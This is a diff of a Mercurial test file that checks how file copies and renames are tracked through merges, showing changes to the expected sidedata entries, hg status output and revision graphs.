0 ##### + ##### revision "i-0 initial commit" ##### 1 sidedata entries - entry-0014 size 34 - '\x00\x00\x00\x03\x04\x00\x00\x00\x01\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00abh' + entry-0014 size 64 + '\x00\x00\x00\x06\x04\x00\x00\x00\x01\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x00\x04\x00\x00\x00\x06\x00\x00\x00\x00abhpqr' added : a, ; added : b, ; added : h, ; - ##### revision 1 ##### + added : p, ; + added : q, ; + added : r, ; + ##### revision "i-1" ##### 1 sidedata entries - entry-0014 size 24 - '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00ac' + entry-0014 size 44 + '\x00\x00\x00\x04\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x02acps' removed : a, ; added p1: c, a; - ##### revision 2 ##### + removed : p, ; + added p1: s, p; + ##### revision "i-2" ##### 1 sidedata entries - entry-0014 size 24 - '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00cd' + entry-0014 size 44 + '\x00\x00\x00\x04\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00\x0c\x00\x00\x00\x03\x00\x00\x00\x00\x06\x00\x00\x00\x04\x00\x00\x00\x02cdst' removed : c, ; added p1: d, c; - ##### revision 3 ##### + removed : s, ; + added p1: t, s; + ##### revision "a-1" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00de' removed : d, ; added p1: e, d; - ##### revision 4 ##### + ##### revision "a-2" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00ef' removed : e, ; added p1: f, e; - ##### revision 5 ##### + ##### revision "b-1" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x14\x00\x00\x00\x01\x00\x00\x00\x00b' touched : b, ; - ##### revision 6 ##### + ##### revision "c-1 delete d" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x0c\x00\x00\x00\x01\x00\x00\x00\x00d' removed : d, ; - ##### revision 7 ##### + ##### revision "d-1 delete d" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x0c\x00\x00\x00\x01\x00\x00\x00\x00d' removed : d, ; - ##### revision 8 ##### + ##### revision "d-2 re-add d" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x04\x00\x00\x00\x01\x00\x00\x00\x00d' added : d, ; - ##### revision 9 ##### + ##### revision "e-1 b -move-> g" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00bg' removed : b, ; added p1: g, b; - ##### revision 10 ##### + ##### revision "e-2 g -move-> f" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x06\x00\x00\x00\x01\x00\x00\x00\x01\x0c\x00\x00\x00\x02\x00\x00\x00\x00fg' added p1: f, g; removed : g, ; - ##### revision 11 ##### + ##### revision "p-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00tu' + removed : t, ; + added p1: u, t; + ##### revision "p-2" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00uv' + removed : u, ; + added p1: v, u; + ##### revision "q-1 r -move-> w" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00rw' + removed : r, ; + added p1: w, r; + ##### revision "q-2 w -move-> v" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x06\x00\x00\x00\x01\x00\x00\x00\x01\x0c\x00\x00\x00\x02\x00\x00\x00\x00vw' + added p1: v, w; + removed : w, ; + ##### revision "mBAm-0 simple merge - A side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 12 ##### + ##### revision "mABm-0 simple merge - A side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 13 ##### + ##### revision "mBCm-0 simple merge - C side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 14 ##### + ##### revision "mBCm-1 re-add d" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x04\x00\x00\x00\x01\x00\x00\x00\x00d' added : d, ; - ##### revision 15 ##### + ##### revision "mCBm-0 simple merge - C side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 16 ##### + ##### revision "mCBm-1 re-add d" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x04\x00\x00\x00\x01\x00\x00\x00\x00d' added : d, ; - ##### revision 17 ##### + ##### revision "mBDm-0 simple merge - B side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 18 ##### + ##### revision "mDBm-0 simple merge - B side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 19 ##### + ##### revision "mAEm-0 merge with copies info on both side - A side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00f' merged : f, ; - ##### revision 20 ##### + ##### revision "mEAm-0 merge with copies info on both side - A side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00f' merged : f, ; - ##### revision 21 ##### + ##### revision "mPQm-0 merge with copies info on both side - P side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00v' + merged : v, ; + ##### revision "mQPm-0 merge with copies info on both side - P side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00v' + merged : v, ; + ##### revision "f-1" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00hi' removed : h, ; added p1: i, h; - ##### revision 22 ##### + ##### revision "f-2" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x16\x00\x00\x00\x01\x00\x00\x00\x01\x0c\x00\x00\x00\x02\x00\x00\x00\x00di' touched p1: d, i; removed : i, ; - ##### revision 23 ##### + ##### revision "mBFm-0 simple merge - B side" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mFBm-0 simple merge - B side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 24 ##### + ##### revision "r-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00rx' + removed : r, ; + added p1: x, r; + ##### revision "r-2" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x02\x16\x00\x00\x00\x01\x00\x00\x00\x01\x0c\x00\x00\x00\x02\x00\x00\x00\x00tx' + touched p1: t, x; + removed : x, ; + ##### revision "mBRm-0 simple merge - B side" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 25 ##### + ##### revision "mRBm-0 simple merge - B side" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "g-1" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x14\x00\x00\x00\x01\x00\x00\x00\x00d' touched : d, ; - ##### revision 26 ##### - 1 sidedata entries - entry-0014 size 14 - '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00d' - merged : d, ; - ##### revision 27 ##### + ##### revision "mDGm-0 actual content merge, copies on one side - D side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00d' merged : d, ; - ##### revision 28 ##### + ##### revision "mGDm-0 actual content merge, copies on one side - D side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00d' merged : d, ; - ##### revision 29 ##### + ##### revision "mFGm-0 merge - G side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00d' merged : d, ; - ##### revision 30 ##### + ##### revision "mGFm-0 merge - G side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00d' + merged : d, ; + ##### revision "mCGm-0 merge updated/deleted - revive the file (updated content) - one way" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' salvaged : d, ; - ##### revision 31 ##### + ##### revision "mGCm-0 merge updated/deleted - revive the file (updated content) - the other way" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' salvaged : d, ; - ##### revision 32 ##### + ##### revision "mCB-revert-m-0 merge explicitely revive deleted file - B side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' salvaged : d, ; - ##### revision 33 ##### + ##### revision "mBC-revert-m-0 merge explicitely revive deleted file - B side" ##### 1 sidedata entries entry-0014 size 14 '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' salvaged : d, ; - ##### revision 34 ##### + ##### revision "h-1" ##### 1 sidedata entries entry-0014 size 24 '\x00\x00\x00\x02\x0c\x00\x00\x00\x01\x00\x00\x00\x00\x06\x00\x00\x00\x02\x00\x00\x00\x00bd' removed : b, ; added p1: d, b; - ##### revision 35 ##### + ##### revision "mCH-delete-before-conflict-m-0 simple merge - C side" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mHC-delete-before-conflict-m-0 simple merge - C side" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mAE-change-m-0 merge with file update and copies info on both side - A side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00f' + merged : f, ; + ##### revision "mEA-change-m-0 merge with file update and copies info on both side - A side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x08\x00\x00\x00\x01\x00\x00\x00\x00f' + merged : f, ; + ##### revision "mBF-change-m-0 merge with extra change - B side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x14\x00\x00\x00\x01\x00\x00\x00\x00d' + touched : d, ; + ##### revision "mFB-change-m-0 merge with extra change - B side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x14\x00\x00\x00\x01\x00\x00\x00\x00d' + touched : d, ; + ##### revision "mCB-change-m-0 merge explicitely revive deleted file - B side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' + salvaged : d, ; + ##### revision "mBC-change-m-0 merge explicitely revive deleted file - B side" ##### + 1 sidedata entries + entry-0014 size 14 + '\x00\x00\x00\x01\x10\x00\x00\x00\x01\x00\x00\x00\x00d' + salvaged : d, ; + ##### revision "j-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-j' + added : unrelated-j, ; + ##### revision "k-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-k' + added : unrelated-k, ; + ##### revision "mAE,Km" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mK,AEm" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' - ##### revision 36 ##### + ##### revision "mEA,Jm" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x14\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-j' + touched : unrelated-j, ; + ##### revision "mJ,EAm" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x14\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-j' + touched : unrelated-j, ; + ##### revision "s-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-s' + added : unrelated-s, ; + ##### revision "t-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-t' + added : unrelated-t, ; + ##### revision "mPQ,Tm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mT,PQm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mQP,Sm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mS,QPm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "l-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-l' + added : unrelated-l, ; + ##### revision "mBC+revert,Lm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mCB+revert,Lm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mL,BC+revertm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mL,CB+revertm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "n-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-n' + added : unrelated-n, ; + ##### revision "o-1" ##### + 1 sidedata entries + entry-0014 size 24 + '\x00\x00\x00\x01\x04\x00\x00\x00\x0b\x00\x00\x00\x00unrelated-o' + added : unrelated-o, ; + ##### revision "mFG,Om" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mO,FGm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mGF,Nm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mN,GFm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mAE-change,Km" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mK,AE-change-m" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mEA-change,Jm" ##### + 1 sidedata entries + entry-0014 size 4 + '\x00\x00\x00\x00' + ##### revision "mJ,EA-change-m" ##### 1 sidedata entries entry-0014 size 4 '\x00\x00\x00\x00' @@ -927,7 +2116,10 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("a-2")' A f a + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("a-2")' f A f a (no-changeset no-compatibility !) @@ -939,21 +2131,21 @@ - unrelated change on the other side $ hg log -G --rev '::(desc("mABm")+desc("mBAm"))' - o 12 mABm-0 simple merge - the other way + o mABm-0 simple merge - A side: multiple renames, B side: unrelated update - the other way |\ - +---o 11 mBAm-0 simple merge - one way + +---o mBAm-0 simple merge - A side: multiple renames, B side: unrelated update - one way | |/ - | o 5 b-1: b update + | o b-1: b update | | - o | 4 a-2: e -move-> f + o | a-2: e -move-> f | | - o | 3 a-1: d -move-> e + o | a-1: d -move-> e |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mABm")' @@ -982,12 +2174,18 @@ M b A f a + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBAm")' M b A f a + A t + p R a + R p merging with the side having a delete ------------------------------------- @@ -998,23 +2196,23 @@ and recreate an unrelated file after the merge $ hg log -G --rev '::(desc("mCBm")+desc("mBCm"))' - o 16 mCBm-1 re-add d + o mCBm-1 re-add d | - o 15 mCBm-0 simple merge - the other way + o mCBm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - the other way |\ - | | o 14 mBCm-1 re-add d + | | o mBCm-1 re-add d | | | - +---o 13 mBCm-0 simple merge - one way + +---o mBCm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - one way | |/ - | o 6 c-1 delete d + | o c-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r - comparing from the merge @@ -1034,10 +2232,16 @@ R d $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBCm-0")' M b + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCBm-0")' M b + A t + p R a + R p - comparing with the merge children re-adding the file @@ -1060,11 +2264,17 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBCm-1")' M b A d + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mCBm-1")' M b A d + A t + p R a + R p Comparing with a merge re-adding the file afterward --------------------------------------------------- @@ -1074,21 +2284,21 @@ - one deleting and recreating the change $ hg log -G --rev '::(desc("mDBm")+desc("mBDm"))' - o 18 mDBm-0 simple merge - the other way + o mDBm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - the other way |\ - +---o 17 mBDm-0 simple merge - one way + +---o mBDm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - one way | |/ - | o 8 d-2 re-add d + | o d-2 re-add d | | - | o 7 d-1 delete d + | o d-1 delete d | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mBDm-0")' M d @@ -1115,93 +2325,102 @@ $ hg manifest --debug --rev 'desc("d-2")' | grep '644 d' b004912a8510032a0350a74daa2803dadfb00e12 644 d $ hg manifest --debug --rev 'desc("b-1")' | grep '644 d' - 169be882533bc917905d46c0c951aa9a1e288dcf 644 d (no-changeset !) - b789fdd96dc2f3bd229c1dd8eedf0fc60e2b68e3 644 d (changeset !) - $ hg debugindex d | head -n 4 + d8252ab2e760b0d4e5288fd44cbd15a0fa567e16 644 d (no-changeset !) + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 d (changeset !) + $ hg debugindex d | head -n 4 | ../no-linkrev rev linkrev nodeid p1 p2 - 0 2 169be882533b 000000000000 000000000000 (no-changeset !) - 0 2 b789fdd96dc2 000000000000 000000000000 (changeset !) - 1 8 b004912a8510 000000000000 000000000000 - 2 22 4a067cf8965d 000000000000 000000000000 (no-changeset !) - 2 22 fe6f8b4f507f 000000000000 000000000000 (changeset !) + 0 * d8252ab2e760 000000000000 000000000000 (no-changeset !) + 0 * ae258f702dfe 000000000000 000000000000 (changeset !) + 1 * b004912a8510 000000000000 000000000000 + 2 * 7b79e2fe0c89 000000000000 000000000000 (no-changeset !) + 2 * 5cce88bf349f ae258f702dfe 000000000000 (changeset !) Log output should not include a merge commit as it did not happen $ hg log -Gfr 'desc("mBDm-0")' d - o 8 d-2 re-add d + o d-2 re-add d | ~ $ hg log -Gfr 'desc("mDBm-0")' d - o 8 d-2 re-add d + o d-2 re-add d | ~ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBDm-0")' M b A d + A t + p R a + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mDBm-0")' M b A d + A t + p R a + R p Comparing with a merge with colliding rename -------------------------------------------- +Subcase: new copy information on both side +`````````````````````````````````````````` + - the "e-" branch renaming b to f (through 'g') - the "a-" branch renaming d to f (through e) $ hg log -G --rev '::(desc("mAEm")+desc("mEAm"))' - o 20 mEAm-0 simple merge - the other way + o mEAm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - the other way |\ - +---o 19 mAEm-0 simple merge - one way + +---o mAEm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - one way | |/ - | o 10 e-2 g -move-> f + | o e-2 g -move-> f | | - | o 9 e-1 b -move-> g + | o e-1 b -move-> g | | - o | 4 a-2: e -move-> f + o | a-2: e -move-> f | | - o | 3 a-1: d -move-> e + o | a-1: d -move-> e |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #if no-changeset $ hg manifest --debug --rev 'desc("mAEm-0")' | grep '644 f' - c39c6083dad048d5138618a46f123e2f397f4f18 644 f + 2ff93c643948464ee1f871867910ae43a45b0bea 644 f $ hg manifest --debug --rev 'desc("mEAm-0")' | grep '644 f' - a9a8bc3860c9d8fa5f2f7e6ea8d40498322737fd 644 f + 2ff93c643948464ee1f871867910ae43a45b0bea 644 f $ hg manifest --debug --rev 'desc("a-2")' | grep '644 f' - 263ea25e220aaeb7b9bac551c702037849aa75e8 644 f + b76eb76580df486c3d51d63c5c210d4dd43a8ac7 644 f $ hg manifest --debug --rev 'desc("e-2")' | grep '644 f' - 71b9b7e73d973572ade6dd765477fcee6890e8b1 644 f - $ hg debugindex f + e8825b386367b29fec957283a80bb47b47483fe1 644 f + $ hg debugindex f | ../no-linkrev rev linkrev nodeid p1 p2 - 0 4 263ea25e220a 000000000000 000000000000 - 1 10 71b9b7e73d97 000000000000 000000000000 - 2 19 c39c6083dad0 263ea25e220a 71b9b7e73d97 - 3 20 a9a8bc3860c9 71b9b7e73d97 263ea25e220a + 0 * b76eb76580df 000000000000 000000000000 + 1 * e8825b386367 000000000000 000000000000 + 2 * 2ff93c643948 b76eb76580df e8825b386367 + 3 * 2f649fba7eb2 b76eb76580df e8825b386367 + 4 * 774e7c1637d5 e8825b386367 b76eb76580df #else $ hg manifest --debug --rev 'desc("mAEm-0")' | grep '644 f' - 498e8799f49f9da1ca06bb2d6d4accf165c5b572 644 f + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f $ hg manifest --debug --rev 'desc("mEAm-0")' | grep '644 f' - c5b506a7118667a38a9c9348a1f63b679e382f57 644 f + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f $ hg manifest --debug --rev 'desc("a-2")' | grep '644 f' - b789fdd96dc2f3bd229c1dd8eedf0fc60e2b68e3 644 f + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f $ hg manifest --debug --rev 'desc("e-2")' | grep '644 f' - 1e88685f5ddec574a34c70af492f95b6debc8741 644 f - $ hg debugindex f + ae258f702dfeca05bf9b6a22a97a4b5645570f11 644 f + $ hg debugindex f | ../no-linkrev rev linkrev nodeid p1 p2 - 0 4 b789fdd96dc2 000000000000 000000000000 - 1 10 1e88685f5dde 000000000000 000000000000 - 2 19 498e8799f49f b789fdd96dc2 1e88685f5dde - 3 20 c5b506a71186 1e88685f5dde b789fdd96dc2 + 0 * ae258f702dfe 000000000000 000000000000 + 1 * d3613c1ec831 ae258f702dfe 000000000000 + 2 * 05e03c868bbc ae258f702dfe 000000000000 #endif # Here the filelog based implementation is not looking at the rename @@ -1209,20 +2428,20 @@ # based on works fine. We have different output. $ hg status --copies --rev 'desc("a-2")' --rev 'desc("mAEm-0")' - M f - b (no-filelog !) + M f (no-changeset !) + b (no-filelog no-changeset !) R b $ hg status --copies --rev 'desc("a-2")' --rev 'desc("mEAm-0")' - M f - b (no-filelog !) + M f (no-changeset !) + b (no-filelog no-changeset !) R b $ hg status --copies --rev 'desc("e-2")' --rev 'desc("mAEm-0")' - M f - d (no-filelog !) + M f (no-changeset !) + d (no-filelog no-changeset !) R d $ hg status --copies --rev 'desc("e-2")' --rev 'desc("mEAm-0")' - M f - d (no-filelog !) + M f (no-changeset !) + d (no-filelog no-changeset !) R d $ hg status --copies --rev 'desc("i-2")' --rev 'desc("a-2")' A f @@ -1258,15 +2477,24 @@ $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mAEm-0")' A f a + A t + p R a R b + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mEAm-0")' A f a (filelog !) b (no-filelog !) + A t + p R a R b - + R p + + +Subcase: existing copy information overwritten on one branch +```````````````````````````````````````````````````````````` Note: | In this case, one of the merge wrongly record a merge while there is none. @@ -1278,90 +2506,196 @@ - one overwriting a file (d) with a rename (from h to i to d) $ hg log -G --rev '::(desc("mBFm")+desc("mFBm"))' - o 24 mFBm-0 simple merge - the other way + o mFBm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way |\ - +---o 23 mBFm-0 simple merge - one way + +---o mBFm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way | |/ - | o 22 f-2: rename i -> d + | o f-2: rename i -> d | | - | o 21 f-1: rename h -> i + | o f-1: rename h -> i | | - o | 5 b-1: b update + o | b-1: b update |/ - o 2 i-2: c -move-> d + o i-2: c -move-> d, s -move-> t | - o 1 i-1: a -move-> c + o i-1: a -move-> c, p -move-> s | - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBFm-0")' M b A d h + A t + p R a R h + R p $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mFBm-0")' M b A d h + A t + p R a R h + R p $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mBFm-0")' - M d - h (no-filelog !) + M d (no-changeset !) + h (no-filelog no-changeset !) R h $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mBFm-0")' M b $ hg status --copies --rev 'desc("f-1")' --rev 'desc("mBFm-0")' M b - M d - i (no-filelog !) + M d (no-changeset !) + i (no-filelog no-changeset !) R i $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mFBm-0")' - M d - h (no-filelog !) + M d (no-changeset !) + h (no-filelog no-changeset !) R h $ hg status --copies --rev 'desc("f-2")' --rev 'desc("mFBm-0")' M b $ hg status --copies --rev 'desc("f-1")' --rev 'desc("mFBm-0")' M b - M d - i (no-filelog !) + M d (no-changeset !) + i (no-filelog no-changeset !) R i #if no-changeset $ hg log -Gfr 'desc("mBFm-0")' d - o 22 f-2: rename i -> d + o f-2: rename i -> d | - o 21 f-1: rename h -> i + o f-1: rename h -> i : - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mBFm-0")' d - o 22 f-2: rename i -> d + o i-2: c -move-> d, s -move-> t | ~ #endif #if no-changeset $ hg log -Gfr 'desc("mFBm-0")' d - o 22 f-2: rename i -> d + o f-2: rename i -> d | - o 21 f-1: rename h -> i + o f-1: rename h -> i : - o 0 i-0 initial commit: a b h + o i-0 initial commit: a b h p q r #else BROKEN: `hg log --follow ` relies on filelog metadata to work $ hg log -Gfr 'desc("mFBm-0")' d - o 22 f-2: rename i -> d + o i-2: c -move-> d, s -move-> t | ~ #endif +Subcase: existing copy information overwritten on one branch, with different content) +````````````````````````````````````````````````````````````````````````````````````` + +Merge: +- one with change to an unrelated file (b) +- one overwriting a file (t) with a rename (from r to x to t), v content is not the same as on the other branch + + $ hg log -G --rev '::(desc("mBRm")+desc("mRBm"))' + o mRBm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - the other way + |\ + +---o mBRm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - one way + | |/ + | o r-2: rename t -> x + | | + | o r-1: rename r -> x + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mBRm-0")' + M b + A d + a + A t + r + R a + R p + R r + $ hg status --copies --rev 'desc("i-0")' --rev 'desc("mRBm-0")' + M b + A d + a + A t + r + R a + R p + R r + $ hg status --copies --rev 'desc("b-1")' --rev 'desc("mBRm-0")' + M t + r (no-filelog !) + R r + $ hg status --copies --rev 'desc("r-2")' --rev 'desc("mBRm-0")' + M b + $ hg status --copies --rev 'desc("r-1")' --rev 'desc("mBRm-0")' + M b + M t + x 